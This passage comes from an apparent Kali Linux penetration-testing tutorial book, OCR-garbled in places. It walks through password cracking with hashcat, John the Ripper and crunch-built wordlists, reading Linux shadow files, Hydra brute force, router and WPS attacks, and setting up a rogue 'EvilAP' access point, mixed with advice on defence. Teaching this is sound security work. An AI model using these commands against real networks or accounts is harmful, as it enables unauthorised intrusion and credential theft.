instance if you know that the password policy requires two numbers six uppercase letters and two
special characters you can create a mask for Hashcat to use.

In this example it would look something like ?d?d?u?u?u?u?u?u?s?s:

i=fCrack# hashcat -m 1088 -a 3 hash.txt ; -0 cracked

Play around with the different options until you get a feel for how they work.

Some of the attacks, especially the Brute Force ones can take forever. Use the video card based
Hashcat versions to speed things up if you have a compatible card.

Conclusion
The purpose of this exercise was not in just showing how to crack passwords, but to demonstrate how
insecure passwords can be.

Sometimes as an Ethical Hacker or pentester you need to crack hashes. This was just a basic level
look at Hashcat. When you mix together the different attack styles, rules and masks you can create a
pretty powerful tool.

Hopefully this demonstrated why strong passwords are important. Implementing a policy requiring
your users to use long complex passwords is a good move in securing your network. Or better yet,
implement multi-factor authentication for your systems.

Don’t forget to remind your users to use a different password for every account they have, especially
important online accounts that include personal information. That way if a password is compromised
the hacker will not have access to every one of their accounts.



Chapter 22 - Wordlists

Introduction
Wordlists are very important when trying to crack passwords, as cracking programs can take a text
file filled with passwords, also known as a wordlist or dictionary file, and use it to crack passwords.

Most cracking programs can use the password file directly as they exist, while more advanced ones
can use the password file (or multiple files) and manipulate them to create many new combinations of
passwords to try.

For example, some can take all the passwords in the wordlist and attach letters or numbers to the
beginning or end of the word.

Some programs will take two or more password files and combine the words from both to make a
new list of words to try.

And finally some crackers have rule sets that modify how they work. Some rulesets will change all
upper case characters to lowercase, or vice versa. Others can completely modify the word and use
the new word. As mentioned before, a Leet (133t) Speak rule set would take a word from the
password file and convert it to “leet speak”, replacing common letters with numbers.

Using a wordlist can make password cracking must easier and faster.

Many pentesters will make their own password list using company data, employee names, phone
numbers, e-mail addresses, etc.

But where can we find wordlists?

Wordlists Included with Kali
Kali comes with several that you can use, the problem is just finding them. Most are in the directory
of the main program that uses them.

(On the latest release of Kali, shortcut links to the other wordlists are stored in the
“/usr/share/wordlists” directory)

ROCKYOU Wordlist

The most popular one would probably be the RockYou wordlist. This is a huge collection of millions
of passwords that were actually used and pulled from a database dump.

The file is located in the /usr/share/wordlists/ directory as seen below:

:/fusr/share# cd wordlists/
Jusrfshare/wordlists# 1s

: /usr/shane mondlists#

If you notice, the password list is zipped, so we need to unzip it before using it:



:/usr/share/wordlists# gunzip rockyou.txt.gz
:/usr/share/wordlists# 1s

rockyou.txt
:/usr/share/wordlists#

JOHN THE RIPPER Wordlist

The ever-popular password cracker John the Ripper comes with a somewhat smallish password list,
but it does include many of the most popular passwords used on the web.

The file is located in the /usr/share/John/ directory as seen below:

:/usr/share/john# 1s password.lst

password.Lst
:/usr/share/john#

WFUZZ Multiple Wordlists

Wifuzz is a website brute force attack tool. Though all the wordlists may not be helpful, some are
interesting, especially the ones in the “general’” directory.

The files are located in the /usr/share/wfuzz/wordlist directory as seen below:

:/usr/share/wfuzz/wordlist# 1s
fuzzdb ge others stress vulns webservicces

: /usr /share/wfuzz/wordlist# [

OTHER Wordlists

As I mentioned earlier, there are several other programs with wordlists in the /usr/share/ directory.
Though the RockYou one again is probably one of the best, if you want additional ones, just poke
around the /usr/share/ directory and see what you can find.

Wordlist Generator

Several tools in Kali let you make your own personalized wordlists. CeWL is pretty neat as it lets
you create passwords by grabbing information from a target website. Crunch is nice too as it allows
you to create your own custom wordlists from scratch.

In this section we will take a look at using Crunch.

Crunch
Crunch is a great program that allows you to create your own password lists. Simple tell crunch what
you want, the length and complexity, and crunch makes it for you!

To pull up the Crunch help page, you have to use the manual command:

root@Kali:~# man crunch



CRUNCH{ July 2812)

NAME

cruncin

SYNOPSIS

erunch =min-len= =max-len= [options]

DESCRIPTION
Crunch can create a wordlist b:
from crunch can be sent to the

OPTIONS
min-len
[he minimum Lengt want crunch to start at. This
option is reqgui re arameters that won't use the value.

The maximum Tlemng string you want crunch to

option is reqgui re an for parameters that won't us

But basically all we need to tell crunch is the minimum and maximum length and what type of
characters to use.

Crunch also makes heavy use of the charset.lst file that is located in its install directory
/etc/share/crunch. So you will need to either run crunch from that directory or point to the directory
with the —f switch when using the more advanced character sets (shown below).

Alright, let’s start with an easy one.
For example:

root@Kali:~# crunch 1 3 —o ThreeLetters.txt
Will produce something like this:

a,b,c,d,e, f, g hi,j,etc...
aa, ab, ac, ad, ae, af] ag, ah, ai, aj, etc...
aaa, aab, aac, aad, aae, aaf, aag, aah, aai, aaj, etc...
Basically crunch starts out with a single letter “a” and cycles through all permutations until it gets to

(13 99

777 .

If we play around with the options we can create some more complex lists, for example:

share/crunch# crunch 3 21234 -0 AlphaNumeric.txt

Would create a wordlist that starts with “aaa” and ends with “4444” creating alpha/ numeric
combinations like aal, bb3, ec4, 2a21, and e3da.

We can use the charset.Ist file so we don’t have to type in all the characters that we actually want to



use. If we “cat charset.lst” we can view what commands that are available:

Jfusr/share/crunch# cat charset.lst
charset configuration file for winrtgen vl.Z2 by Massimilianoc Montoro (maocfoxid

vle with rainbowcrack 1.1 and later by Zhu Shuanglel =shuanglei@hotmall

vfusr/share/crunch# crunch 2 4 -f charset.lst mixalpha-numeric-all -o

ow generate the following amount of data: 3

Crunch will now generate the following number of 11

This took a little while, but created a wordlist that cycled through 2 to 4 character words that
contained all letters, numbers and symbols.

You can use strings too, meaning that you can start each password with a certain word, or have the
first part of the password letters and the last part numbers. Not really critical to do this, as some of
the more advanced cracking programs will do some of this automatically.

Download Wordlists from the Web

If none of the above information helps you out or you want even more wordlists, you can also
download them from the web to use in Kali. Two of the best sites I have seen are Skull Security and
CrackStation.

Skull Security:
(http.//'www.skullsecuritv.org/wiki/index.php/Passwords) has multiple wordlists that you

can download and use.

CrackStation:
(https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm)
has a couple, with one being what I call the mother of all wordlists, a 15GB monster!

Conclusion

Many times password cracking programs work much better with one or more wordlists. In this


http://www.skullsecurity.org/wiki/index.php/Passwords
https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

section we covered how to find and create these lists using Kali. Creating your own password file
can dramatically reduce cracking time. If you have the time and patience you can create a very large
password list that contains quite a collection of complex words. When all else fails the internet
provides some great wordlists that you can download and use.



Chapter 23 — Cracking Linux Passwords

Introduction
Just as passwords hashes can be hacked in Windows, the same can be done with Linux machines. All
you need is root level access and a hash cracking program like John the Ripper.

In this tutorial we will use John the Ripper that comes with Kali and try our hand at cracking Linux
passwords.

Cracking Linux Passwords
If you remember from the Metasploitable Tutorial earlier in the book, we were able to get “root”
level access by using the Unreal IRC exploit.

Let’s take up our conversation using our Metasploitable root shell (see the Metasploitable Chapter)
as a starting point:

ant cornection...
nection...

ot fo rywnAMI
[*] Matching. ..
B : input. ..

Okay, we have a remote command shell, and I am the root user as can be seen above from the
“whoami” command. So all we need now is to recover the password hashes and then crack them.

Simply type,  cat /etc/passwd”:



stgresql:/bin/bash

Now just copy the text from this file to your Kali system by simply selecting the text with the mouse
and copying it to a text file in a local Kali directory.

I just put the text to a file named “passwd” and saved it on the Kali Desktop:

£ EHome '

passwd

File Edit Search Options Help
root:;x:0:0:root :/root : fbin/bash
ddencn:x:l:l:daenun:iua'JEL;r:IL;LE:t
bin:x:2:2:bin:/bin:/bin/sh

Sys:x:3: "5,5 fdev:/bin/sh
sync:x:4:65534:sync:fbin: fbin/sync
ganhﬁ,c 5:60: UFHL-:: IST

l"'

usr/games: /bin/sh
mar 15 man: /var/cache/man: /bin/s
lp: ‘:_p:fuarfspcclflpa:!tir;er ]
na_l. -8 L:/ / L:/bin/sh T
ﬁPuL'iizi A / L/fnews: fbin/sh
Uucp:x:10:10:uucp: fvar/spool/uucp: /bi X
Llunw 4 l*'lJ.L'Lt;:'L'r"L;LTEI

Wi .,'-I'_.Qt:::_:j.j,_,_,,l,.,'l,-, '."_.'I_p I_,- var; -'.-. 1 t-
packup:x:34:34:packup: fvar/backups: /bl
list:;x:38:3B:Mailing List Manager:/va

Now just do the same exact thing with the “shadow-" file.



You should now have two text files, “/root/Desktop/passwd” and “/root/Desktop/shadow-"" on your
local Kali system.

Next we need to take both newly created text files and run the “Unshadow” command on them from
the John the Ripper utilities. This command takes the files and combines them into a single file
(cracked) that John the Ripper can crack:

:~/Desktop# sudo unshadow passwd shadow- > cracked

Okay, now that we have the combined “cracked” file, we can unleash John the Ripper on it to attempt
to retrieve the passwords.

We will use the wordlist file “password.lst” that comes with John:

B DOME (Fri MNow

Okay, 7 password hashes and only one remaining. Now just use the show command to see what it
found:

og:/bin/ false
Ty s |
greSQL adminis

And there we go; we now have 6 usernames and passwords to play with.

sys/ batman
klog/ 1234567898
msfadmin/ msfadmin
postgres/ postgres
user/ user
e service/ service
Looks like the administrator of the box used simple passwords, not a good idea.

Automating Password Attacks with Hydra
Now that we have these passwords, we can take them and use “ Hydra ” to automate attacks against
the Metasploitable system’s services.

Hydra is a brute force attack program that takes a user list and password list and tries different
combinations of them to attack server services.

If we make a text file with the usernames and another with the passwords that we acquired above, we
can feed them to a program like Hydra to automate testing of these passwords to see what services



they will work against.

So, if we want to attack the SSH service with our newly created passwords, we could do something
like this:

The “-L” switch lists our username file, “user” in this case. The “-P” switch is the location of our
password file, or “pass” in this case. Then we just list the target IP address and the target service and
that 1s it!

(You can use Hydra-GTK from the Online Password attack menu if you prefer a graphical
interface)

As you can see it found the right combination of username and password pretty quick:

msfadmin/ msfadmin

Though it is kind of silly trying a small list of passwords that we already know, the concept is solid.
Without having any of the actual passwords we could use hydra with a large username and password
dictionary file to try to brute force our way into the server.

Conclusion

That 1s all there is too it. Because we had a root shell, we were able to grab the Linux password
hashes from the system by simply copying them and pasting them to our local machine. We were then
able to use John the Ripper to crack them.

If you took a good look at the Metasploit service scanner programs mentioned in an earlier tutorial,
you probably noticed some had a place to set usernames and passwords. How cool would it be to just
feed our newly cracked passwords into these scanners and unleash them on the Metasploitable box?

Also, as many times admins use the same passwords on other boxes, we could use the same scanners
to target the whole network address space to see how many other machines we could get access to!

If the Linux administrator had updated his system software, or even used complex passwords this
would have been much harder, if not impossible to do.



Lastly, as the Hydra automated attack shows us, we need to use long complex passwords to protect
our servers from brute force attacks.



PART SIX — Router and Wi-F1 Attacks




Chapter 24 — Router Attacks

Resources
® Routerpwn.com

® Shodanhqg.com

Introduction

Recently, there have been several rather critical vulnerabilities discovered in very common network
routers. They are, in most cases, the first line of defense for a network, so I think it important to spend
some time about them.

We will take a look at a couple ways that Routers and Wireless Networks are attacked.

In this chapter we will look at “Routerpwn”, a website that contains executable exploits for routers.
We will then look at attacking Wi-F1 Protected Setup (WPS) - a push button or PIN based method of
setting up WPA/WPA2 networks.

Then over the next several chapters we will cover attacking Wi-Fi networks in more depth.

But first let’s talk a little bit about Router passwords.

Router Passwords
Of all devices, routers are one of the most important devices to secure with a long complex
password.

Multiple websites exist that contain default passwords for network devices. The first thing a drive-by
hacker (someone looking for an easy hit) will do is try default credentials for internet facing devices.

And sadly, many times they will work!

Some industry experts recommend a password of 12-15 mixed symbols, numbers and upper/ lower
case characters for a good password. I would easily recommend at least twice that many for a
mission critical internet facing router.

I also recommend turning off remote web management, when not needed. This immediately blocks
changes to the router being made from over the internet.

Routerpwn

Though not included in Kali, Routerpwn.com is probably one of the easiest to use tool for finding
Router exploits. The webpage contains router exploits by manufacturer and multiple tools & utilities
including password key generators.



™

2Wire Comtrend Motorola Thomson
3Com DD-Wrt Netgear TP-Link

Arris DLink Pirelli TRENDnet
Alpha EasyBox RuggedCom Ubiquiti
Asmax Fibrehome Sagem UTStarcom
Asus Freebox Seagate Xavi
Belkin Huawei Siemens ZyXEL
Cisco MiFi Sitecom

To use the website you simply click on the manufacturer of the target router. So if we choose “Dlink”
we will see the Dlink section of exploits:

D-Link

D-Link DAP 1150, DWL 2100AP, 704P, DIR-615, DSL-500T, DSL-502T, DSL-504T,
DSL-562T, DSL-G604T, DWL-7000AF, DWL-T100AP, DNS-320, DNS-325

02ron2 [*] DSL-2640B change admin password CSRF [SET IP]
02/08/12 [+] OMNS-320 DNS-325 command execution [SET I}
02/08/12 [+] DMNS-320 DNS-325 information disclosure [SET IF}
02/08/12 [+] DMNS-320 DNS-325 infermation disclosure [SET IF}
o2Mor2 DAP-1150 save configuration CSRF [SET IP]

o2M10M2 [+ DAP-1150 denial of service [SET IF]

121711 [+] DSL-500T reset password CSRF [SET IP)

If you click on the router model, Routerpwn will pull up a Google Image search for the router number
you clicked on so you can identify the router by sight.

Below that is a list of Router exploits showing the date, brief description and an option to set the
target IP. Clicking on any of the exploits will prompt you for any variables that are needed and then
immediately launch it against a default local IP address.

If you want to run the attack against a remote IP, simply set the IP with the “/SET IP]” button:

™ A y A45M A 1 Ry
DAP-1160 Auth

Take a few seconds and read down the exploits listed. You will see exploits to change the Router’s



password, obtain configuration information, directory transversal, run remote commands, and more.

Routerpwn also includes a MAC lookup utility and a link to external resources including a router
default password list site and Shodan.

Shodan (Shodanhq.com) is probably one of the easiest ways for an attacker to find routers and other
devices on the web. For the most part, just entering the manufacturer’s name as a keyword will return
thousands of them.

The crazy thing is that because Routerpwn is a website, it can be run off of almost any platform -
Windows, Linux, smart phones, etc. In one security seminar the author of the tool even mentioned that
you can run it from a Wii!

Routerpwn is a great one stop shop for finding basic router exploits.

Wi-Fi Protected Setup (WPS)

WPS is used to try to make setting up new Wi-Fi devices easier, by allowing users to use a PIN or
button presses instead of having to enter a long passphrase. Many routers support it, but the way in
which it works opens it up to possible hacker brute force attacks.

Cracking a long complex Router passphrase could take days, or even months. But in many cases, WPS
can be cracked to gain access to a router WPA/WPA2 passphrase in usually under 10 hours.

WPS on the router side will look something like this screenshot of a router configuration page below:

Wi-Fi Protected Setup is used to easily add devices to 3 network using a PIN or button press.
Devices must support Wi-Fi Protected Setup in order to be configured by this method.

If the PIN changes, the new PIN wil be used in following Wi-Fi Protected Setup process. Clicking
on "Don't Save Settings” button wil not reset the PIN.

However, if the new PIN is not saved, it wil get lost when the device reboots or loses power.

[ Save Settings ]| Don't Save Settings |

WI-FI PROTECTED SETUP

Enable : [¥|
WiFi Protected Setup : Enable/Configured
Lock WPS-PIN Setup :

[ Reset to Unconfigured ]

PIN : 26763026

| ResetPIN toDefault | | GenerateNewPIN |

I don’t want to spend a lot of time on this, but we will take a quick look at a couple utilities that can
be used to perform WPS attacks.



Many WPS attack programs will use Reaver to crack the WPS 8 digit key. So, we will first look at
using Reaver, and then we will take a look at a couple GUI based programs.

Attacking WPS with Reaver
Reaver is a very popular tool for attacking WPS. It is included in Kali and can be run from the
command prompt.

1. First we need to put the Wi-Fi card in Monitoring mode by typing, “aimon-ng wlan0 start”.

If all went well, you should see something like this:

Interface Chipset Driver

wlan( Atheros ARS271 athSk - [phy3]
(monitor mode enabled on mon@)

2. Now type, “reaver” and add the “-i” interface switch, “-b” and the mac address of the target
router, then “—wv” for verbose feedback. It should look something like this:

root@kali:~# reaver -i mon0 -b b8:a3:85:aa:00:01 —vv
3. Reaver will then begin cracking the WPS key.

Now let’s look at some other programs that include reaver.

Attacking WPS with Fern WiFi Cracker

Fern WiFi Cracker is a great tool for testing wireless networks security. We will talk more about
using Fern against Wi-Fi networks in a later chapter, but let’s look at how to attack WPS using it.

1. Type, “fern-wifi-cracker” at a Terminal Prompt.

2. In the Select Interface drop down, select your Wireless Card (Wlan0). It should then say
“Monitor Mode Enabled on Mon(x)”:

a8 wlarD

<)

Mortor Mode Brabled omn monD

3. Click the “Scan for Access Points” button.

4. Click the WEP or WPS Button when it finds access points:

- '\.L
" TII i l WPA et el



5. Select the name of your access point you want to attack, “Vulnerable” in our example.

6. Select the “WPS Attack” under attack options.

7. Then press the “WiFi Attack’ Button.

That is it; if it 1s successful we should see the WPS PIN and the more importantly, the WPA
passphrase.
Cracking WPS with Wifite
Wifite 1s another really handy Wi-Fi testing program that includes WPS attack capability.
1. Opena terminal and type, “wifite’:
WiFite v2 (r85)
automated wireless audite

designed fTor Linux

[+] scanning for wireless devices...
] enabling manitor

intervals, whan ready.
and clients Tound

] , updates at 5 sec intervals, when ready.

2. Wifite will initialize your Wireless card and set it to monitoring mode. It will then scan for



wireless networks.
3. Networks will be displayed, once you see the one you want press “Cntrl+C:

4. Select the target you want to attack.

NUM ESSID CH ENCR POWER WPS? CLIENT

As I mentioned earlier, WPS cracking is not fast, with some saying it can take up to 10 hours or more
to complete.

Also, new routers have protection against these types of attacks and some will lock WPS after failed
attempts. But in many cases it would be a lot quicker to try to crack the router through WPS than
attempting to crack a long WPA2 passphrase.

Conclusion
There are several ways to attack routers, we covered one of the easiest to use — Routerpwn. We also
covered attacking the WPS capability of routers.

As mentioned we will spend a lot more time discussing routers, specifically Wi-Fi networks in the
next few sections.

It is imperative that companies and home users keep up on Router firmware updates, secure their
routers with long complex passwords, and turn off WPS if not needed.



Chapter 25 — Wireless Network Attacks

Resources
[ Wireless Adapters for Kali Discussion: http://forums.kali.org/showthread.php?4327-
Best-possible-wireless-adapter-for-Kali-linux-%28PCIE-amp-USB%29

Introduction

Wireless networks and Wi-Fi devices have saturated both the home front and business arena. The
threats against Wi-Fi networks have been known for years, and though some effort has been made to
lock down wireless networks, some are still wide open or not secured very well.

In this chapter we will talk about wireless security and a few common Wi-Fi security
misconceptions. We will look at a couple popular tools used to test security. We will also cover
several techniques that an Ethical Hacker could use to check the security of their wireless network.

Unfortunately, sometimes wireless networks can be modified to deceive users, so we will also cover
how a penetration tester (or unfortunately, hackers) could set up a fake Access Point (AP) using a
simple wireless card and redirect network users, capture authentication credentials and possibly gain
full remote access to a client.

In the final part of this section we will look at two menu driven programs that can be used that make
Wi-Fi testing very easy.

Wireless Security Protocols

Though the news is getting out and Wireless manufacturers are configuring better security as the
default for their equipment, there are still a large amount of wireless networks that are woefully under
secured.

One of the biggest things in securing your Wireless network is the Wireless Security Protocol. You
have "None", which basically means that you are leaving the door wide open for anyone to access
your network. "WEP" which has been cracked a long time ago and basically means that you locked
the door, but left the key under the front mat with a big sign saying, "The key is under the Mat".
“WPA” which is much better, and “WPA2” is the latest and recommended security setting for your
network.

The following chart (Figure 1) was created from data from my local city.
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As you can see, 13% of detected Wireless networks had no security set at all, and 29% more were
not much better using WEP. Interestingly enough a whopping 46% were using WPA2, which was
actually kind of surprising. But in many cases, it seemed from the beacons captured that the AP was
capable of WPA2, but clients were using the lower WPA.

WPA/WPAZ2 can still be cracked, so set a long complex passkey for them.

Next, let’s take a hands-on look at some common wireless security misconceptions.

Getting Started

You will need a Wireless card capable of entering monitoring mode. Many Wi-Fi adapters are
capable of doing this, but some are not. If you are planning on purchasing one, do a little research first
to determine if your Wi-Fi adapter will work in monitoring mode and with Kali.

[use a TP-Link TL-WN722n USB Wi-Fi adapter that works great with Kali.

Viewing Wireless Networks with Airmon-NG

The Aircrack-NG tools are some of the most commonly used command line programs in Wi-Fi
security testing. And many of the graphical Wi-Fi security testing programs actually use the Aircrack-
NG tools in the background.

Let’s start out by using Airmon-NG to view available wireless networks

1. Open a terminal session and type in the command “ifconfig”. You should see your wireless
network card listed as wlanO (or wlanl if you have two).

Link encap:Ethernet Hwaddr f8:dl:11:

' T MULTICAST MTU: Metric:l
RX pac = 3 rerruns:0 frame:0
TX pac ro ved:0® overruns:0 carrier:0

(6.0 B)

If the interface does not show up, try typing “ifconfig wlan0 up”.

2. Okay, now all we need to do is put the card in monitoring mode. To do this, just type,
“airmon-ng start wlan0”



1~# girmon-ng start wland

ops worki ng aftar
e af) them!

ath9k - [phyl]
(monitor mode enabled on mon@)

You can see in the image above that a monitoring interface is created called “mon0”. The other
Aircrack-ng utilities will use this new interface.

You may also see a notice here about processes that could cause trouble. This can be ignored.

Now we will run the Airodump-ng program that will list all the Wi-Fi networks in range of your
wireless card.

3. Simply type, “airodump-ng mon0”

The Airodump-ng program will start and you will see a list of all available wireless access points
(APs) and also a list of clients that are attached.

(You can hit CNTRL-Cat any time to exit back to the terminal prompt.)

Airodump-ng lists several pieces of information that are of interest. The first is the MAC address of
the AP device. Next 1s the Power level, the channel number that the AP is operating on, the number of
packets sent and the encryption and authentication types.

Lastly, the AP name is listed.

From the figure above, you can see that both AP’s are using “WPA2”, which is the recommended
encryption type. If the type was “WEP” or “OPN” (open) then there would be some big security
concerns. WEP was cracked a long time ago, and Open means that there is no security set at all on the
AP and anyone can connect to it.

As shown, there are no clients connected to any of the Access Points. If a client did connect, we
would see the MAC address of both the client and the AP they connected to listed under the BSSID



STATION section. Thus you can see one of the inherent security flaws of Wi-Fi. Filtering clients by
MAC address is not a very effective security strategy as it is trivial to view which clients are
connected to which AP’s by their physical address.

All an attacker would have to do is view which addresses have connected and then spoof (see the
“macchanger” command later in this chapter) the address to bypass MAC filtering!

Viewing Wi-Fi Packets and Hidden APs in Wireshark

One other common Wi-Fi security misconception is that changing your Wireless Access Point to use a
“Hidden” SSID will increase the security of your network. Well, it doesn’t, and we will see why in
this section.

Okay, we have seen how to view which APs are available, now let’s see how we can capture
wireless packets and analyze them in the ever popular protocol analyzer Wireshark.

Simply place your Wi-Fi card in monitor mode like we did in the previous example, and then run
Wireshark. Placing the card in monitor mode will allow us to see wireless management traffic like
AP Beacons and Probes:

root@Kali:~# airmon-ng start wlan(
root@Kali:~# wireshark &

(When you start airmon-ng, you may receive a message that running processes could cause
trouble, these may be ignored. The “&” used after the Wireshark command tells Kali to run
Wireshark, but give you the command prompt back.)

Wireshark will open, now all you need to do is:
1. Select “mon0” from the interface list

2. Click, “Starr”.

Interface List

Live list of the capture interfaces
(counts mcoming packets)

Start

Choose one ar more interfaces to L'-&P'[I.ITE!'H:II'I'I_ then Start

& ethQ

2 wilanQ
1. | e I

| R — O PR | N[ = IF . ¥ ol M7 S Sy [

Capture Dptians

Start a capture with detailed options

Wireshark will now begin to use the wireless card and begin to capture network control packets from



the air and you should instantly see a list of all the Wi-Fi Beacon traffic.
For example:

1 0.000000 Beacon frame, SN=3269, FN=0, SSID=Broadcast
2 0.028565 Beacon frame, SN=3318, FN=0, SSID=Terminator

Here you can see a capture from two separate APs. The second one is called “Terminator”, but the
first one 1s different. The SSID is “Broadcast”, which tells us that the name for this AP is hidden.
This 1s an ineffective technique used to secure wireless networks, and I will show you why.

If a client attempts to connect to this hidden AP, we automatically capture the SSID name in a “Probe
Request”. Checking the packet capture for “Probe Requests” we will actually see the unhidden SSID
as seen below:

93 6.623480 Probe Request, SN=0, FN=0, SSID=HiddenWiFi
99 7.122094 Probe Response, SN=843, FN=0 SSID= HiddenWiFi

The AP name that did not show up in the Beacon frames becomes revealed to us as soon as a client
attempts to connect!

The client lists the hidden AP name in the probe request, in this case “HiddenWiFi”. And the AP
echoes its hidden name back to the client in the Probe Response.

To stop the Wireshark capture, just use the “Stop Capture” button on the menu. You can then search,
filter or save the results.

Turning a Wireless Card into an Access Point

One of the interesting features of wireless cards is that they can also act as an Access Point. This
feature 1s of great interest to penetration testers, but unfortunately also to malicious users. You can
create an AP using any SSID that you want. If you name your created AP the same as an existing one,
the client cannot tell the difference and will connect to the nearest one, or the one with the strongest

signal.

Once your card is in monitoring mode (airmon-ng start wlan(), you can turn it into an AP using the
Airbase-ng command:

root@wKali:~# airbase-ng -e "EvilAP" -c 6 mon0

This command creates an AP with the name “EvilAP”, on channel 6 using the mon0 interface.

:B3:F7:DF started.

This AP should now show up on any nearby Wi-Fi clients:



Cumrently connected to:

Terminator
B | Internet access

eless Metwork Connection
lerminator Connected _,

Ev E.-'.F

gc | Name: Evilip

Signal Strength: Excellent

OtH Security Type: Unsecured
Radio Type: 802.11g
5510 EvilAp

Ipen Metwork and Shanng Center

And once someone connects to it, it shows up on our Kali system:

12:34:14 Client 78:E4:00:FF:2C:AB:01 associated (unencrypted) to ESSID: “EvilAp”

We have now turned our little unassuming wireless card into an “EvilAP”. To complete the Dr. Jekyll
to Mr. Hyde conversion, we also need to configure the Kali system to give out IP addresses to
connecting clients (DHCP) and control what websites they can see (DNS spoofing).

You can do this manually, but there are several programs that do this automatically. The Kali recent
addition “Ghost-Phisher” is one, and the Social Engineering Toolkit (SET) Wireless AP attack is
another. They allow you to take complete communication control between the internet and our
wireless client user.

As of the latest Kali release, Ghost-Phisher 1s included with Kali, but the Wi-F1 attacks don’t seem to
completely work. And the SET AP attack that worked great in Backtrack wants to use dhcpd3 server
which doesn’t seem to be directly supported in Kali.

But with either tool creating a fake AP and then grabbing credentials or performing Man-in-The-
Middle attacks are very easily done with a few mouse clicks.

Keep an eye on these tools, as I am sure both will be fixed in later Kali updates.

Later in this chapter we will see how to use “Easy-Creds” which can do all of these things and more.

Using MacChanger to Change the Address (MAC) of your Wi-Fi Card
You may want to change the Mac address of your wireless network card before running wireless
testing. If so, Kali supports a tool for this called MacChanger.

Notice that the ifconfig command displays the physical MAC (HWaddr) address of your card. This is
a unique identifier hardwired into the card. But you can change this address by using the
“macchanger” command.



1. Take your wireless card down with the “ifconfig wlan0 down” command.
2. Type “macchanger —r wlan0”

The -r command sets your MAC to a random address. You can also it to a specific address if
you want. Use the help switch (macchanger -h) to see more options.

wLand down
r wlan@
(unknown)

g wlanB
p:Ethermnet Hwaddr f6:27:fb:9¢c:

l BROADCAST MULTICAS MTU:15

arriar:0

Conclusion

As we have shown there are many unsecured wireless routers out there and it is very easy to
circumvent some of the common security measures that are implemented. It is also very simple to
create a rogue “Free Wi-Fi Hotspot”, intercept the wireless traffic, and control what a surfer can see
in his browser and where he can surf.

The best defense against Wi-Fi attacks is to secure your router! Do not use open or WEP security.
One of the main defenses your network has is your firewall; if you allow people inside your firewall
you can open yourself up to ARP MitM attacks, packet sniffing and other attacks. Unfortunately, many
corporate users do not understand this and will take their business laptops from a very secured
environment at work to a very unsecured Wi-Fi network at home.

Be cautious of free Wi-Fi. Don’t do online banking or shopping while using public Wi-Fi. Make sure
your operating system is using a firewall and preferably internet security software. If your security
software monitors your ARP table, that is even better!

Use common sense, if you are working on sensitive information, do it at home not at the local coffee
shop that offers free Wi-Fi, even if their cinnamon rolls are the best in the world. It is just not worth
the risk!

For more information, check out Vivek Ramachandran’s excellent book, “Backtrack 5 Wireless
Penetration Testing Beginner’s Guide.” Also, David Kennedy’s (creator of SET) book,
“Metasploit: The Penetration Tester’s Guide” is an excellent reference on Backtrack 5, SET and the
Metasploit Framework.



Chapter 26 — Fern WIFI Cracker

Introduction

Fern WIFI Cracker is a great program that provides an easy to use graphical interface to underlying
Aircrack-ng and Reaver Wireless penetration testing tools.

Using this tool we can scan for access points, and perform menu driven WPS attacks and WEP/
WPA/ and WPA2 passkey cracking.

You can also attack Wireless Protected Setup (WPS) with Fern.

Using Fern

1. Kali Linux>Wireless Attacks>Wireless Tools>fern-wifi-cracker
from the menu or run fern-wifi-cracker from the command line.

W b RiidaE el

s i sk

2. Simply select your interface from the drop down list:

_— j £ 1o |

Manitor Mede Enshled an mand

Monitor mode will be automatically enabled and Fern will search for Access Points in the area.



Once some are detected they will show up in either the WIFI WEP or WPA icon as seen below:

1% ) Active
~ .
i # 1
F' W il 2 Detected

G @)
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4. Now simply select an access point from the Target Access Panel. Then select WPS or
Regular attack.

5. We will choose our AP Terminator (which by the way is a hidden AP, but Fern saw it with no
problems), and the Wireless Protected Setup attack (or WPS for short) and click the “Attack”
button:



Fern correctly detected that WPS was not enabled on our AP. Knowing the security risks of leaving
WPS on, I always turn off WPS on all of my routers.

On some routers, the WPS feature is susceptible to a brute force attack where an attacker can run a
program like “Reaver” (used by Fern) and obtain access to the Router
(http://www.kb.cert.org/vuls/id/723755).

As this didn’t work, our next step is to try and run a dictionary attack against the passkey used by the
router.

6. Simply select “Regular Attack™ and then select a word list to use. In this example we will
just use the “common.txt” wordlist found in Fern’s “/extras/wordlists” folder as seen below:



http://www.kb.cert.org/vuls/id/723755

The attack will then try every word in the wordlist against the access point passkey phrase:

And as you can see below, the long complex password that I used was not found during the dictionary
attack:

Conclusion
In this section we found out how easy it is to test wireless security using Fern WIFI Cracker. The
program allows us to quickly find and analyze the networks around us and pick which ones to test.

Again choosing WPA?2 and a long complex passphrase will help secure your wireless network from
attackers.



Chapter 27 — Wi-Fi Testing with WiFite

Introduction
There are several programs that take the Aircrack-ng toolset and add a graphical or text menu to it.
This makes 1t much easier to use the toolset without having to remember all the individual commands.

Now we will take a look at WiFite a quick and easy to use command line menu driven program for
finding and testing wireless networks.

Using WiFite
1. To start WiFite simple type wifite at a terminal prompt:
root@Kali:~# wifite

2. Wifite will start and automatically begin scanning for networks:

3. At this point just let it run for a while. You will see wireless networks begin to fill in as they
are found. When you feel you have found enough, or have found the ones you are looking for,
hit “ CTRL-C” .

4. You will then be asked what Wi-Fi networks you would like to attack. You can pick an
individual one, pick several by separating their numbers with a comma, or just type ‘all’ to
attack all of them.

Things to notice here, you have NUM, which is the number of the Wi-F1 network that you want to



attack, you have the ESSID or network name, CH is the channel the network is communicating on,
ENCR is the type of encryption the network is using (Open,WEP, WPA, or WPA2), the POWER
level in decibels, if Wi-fi Protected Setup (WPS) is enabled and if any CLIENTSs are connected. It
will say ‘client’ if only one is connected or ‘clients’ if multiple clients are present.

5. For this example, Number 1 - “Vulnerable”, seems like a good one to try. As you can see it is
only using WEP encryption is pretty easy to crack.

WiFite immediately begins to automatically attack and crack the WEP key.

NUM ESSID C -MCR WPS?

arated by commas, or '

A fairly large number of Initialization Vectors (IVs) are needed to crack the WEP key. Wireless AP’s
normally generate IVs, but because we need a large number of them you can see the aircrack-ng tools
working in the background injecting packets to force the AP to produce a large amount of these key
packets.

Once enough of the packets have been collected the WEP key can be decoded as shown below:

WEP attacks succeaded

1 disabling monitor mode on
#] gquitting

As you can see, WiFite successfully cracks the WEP key, “1234567890” in this case.

More advanced attacks with WiFite
WiFite has some command line switches that allow us to tailor our attacks. For example we can
specify an individual Wi-Fi router by name if we know it by using the —e “AP Name” switch.

We can also include a dictionary file to speed up cracking the WPS passkey by using the dictionary
file --dict /Path switch.



Try combining them to use the RockYou password file to attack a specific Wi-Fi network:

